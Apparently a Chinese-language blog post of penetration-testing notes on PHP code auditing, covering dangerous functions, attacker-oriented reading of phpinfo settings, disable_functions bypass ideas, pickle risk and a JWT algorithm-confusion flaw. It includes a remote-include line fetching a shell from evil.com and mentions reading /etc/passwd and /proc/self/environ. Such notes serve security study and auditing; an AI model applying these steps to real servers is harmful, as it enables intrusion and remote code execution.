渗透进阶 · 代码审计
危险函数
- passthru() 直接输出命令执行的原始结果
system()执行一个外部程序,并显示输出。shell_exec()执行一个命令并将整个输出以字符串返回dl()运行时加载 PHP 扩展库mail()邮件发送putenv()环境控制
phpinfo.php
DOCUMENT_ROOTWeb根目录位置
System,Server API,Loaded Configuration File*
System:确认目标是 Linux 还是 Windows,后续命令不同。Server API(如 Apache 2.0 Handler 或 CGI/FPM):影响命令执行方式。Loaded Configuration File:比如/etc/php/7.4/apache2/php.ini,可以用于寻找日志注入、配置提权。
🔍 3. disable_functions
看这项有没有禁用 system, exec, shell_exec, popen, proc_open 等函数。
- 如果这些函数全开,那简直就是裸奔。
- 如果被禁用太多了,可以考虑
LD_PRELOAD、imap_open、FFI等旁门左道打洞法~
📁 4. open_basedir
是否开启路径限制?如果没开,你可以遍历任意目录(比如 /etc/passwd, /proc/self/environ)。
🌐 5. HTTP Headers
如:
$_SERVER['HTTP_USER_AGENT'](可用于日志注入)$_SERVER['HTTP_COOKIE'](绕过某些 WAF 策略)REMOTE_ADDR,SERVER_ADDR,SERVER_PORT(搞内网探测时好用)
🛣 6. include_path
这决定了 include('abc.php') 时的默认查找目录,可以用来搞:
- LFI 本地包含漏洞
auto_prepend_file/auto_append_file提权
🔗 7. Environment 和 PATH
有时能看到 PATH 里包含了啥路径(像 /usr/bin, /tmp, /home/user/bin),可用于寻找可执行程序或写权限。
💣 8. curl, allow_url_fopen, allow_url_include
- 如果开启了
allow_url_include,那你甚至可以include("http://evil.com/shell.txt"),远程执行代码。 curl存在就可以远程下载 payload。
📜 9. 模块信息
比如这些模块:
mysqli/pdo_mysql:说明可注入点很可能与数据库交互imap:配合imap_open()实现命令执行FFI:可以调用 C 语言库,提权绕 disable_functionssoap,xml,zip:有特定的利用链
🔐 10. 上传文件相关
file_uploads:是否允许上传upload_tmp_dir:上传文件的临时目录(可打马)upload_max_filesize和post_max_size:控制上传大小限制max_execution_time:避免你上传大文件或打超时 payload 被中断
spel注入,命令执行

python
- pickle 是 Python 内置的对象序列化模块,但它可以执行任意代码。
JWT伪造相关代码审计
JWT 一般分成三部分(以.分隔):
<Header>.<Payload>.<Signature>
算法降级源码分析
header = jwt.get_unverified_header(token)
**get_unverified_header()** 不会校验签名,所以可能会被攻击者伪造内容,如alg none 攻击
signature_algorithm = header['alg']
重大安全隐患是:“信任用户提供的签名算法”
payload = jwt.decode(token, self.secret, algorithms=signature_algorithm)
不应该如此写,应用白名单列表限制算法,防止空算法等

浙公网安备 33010602011771号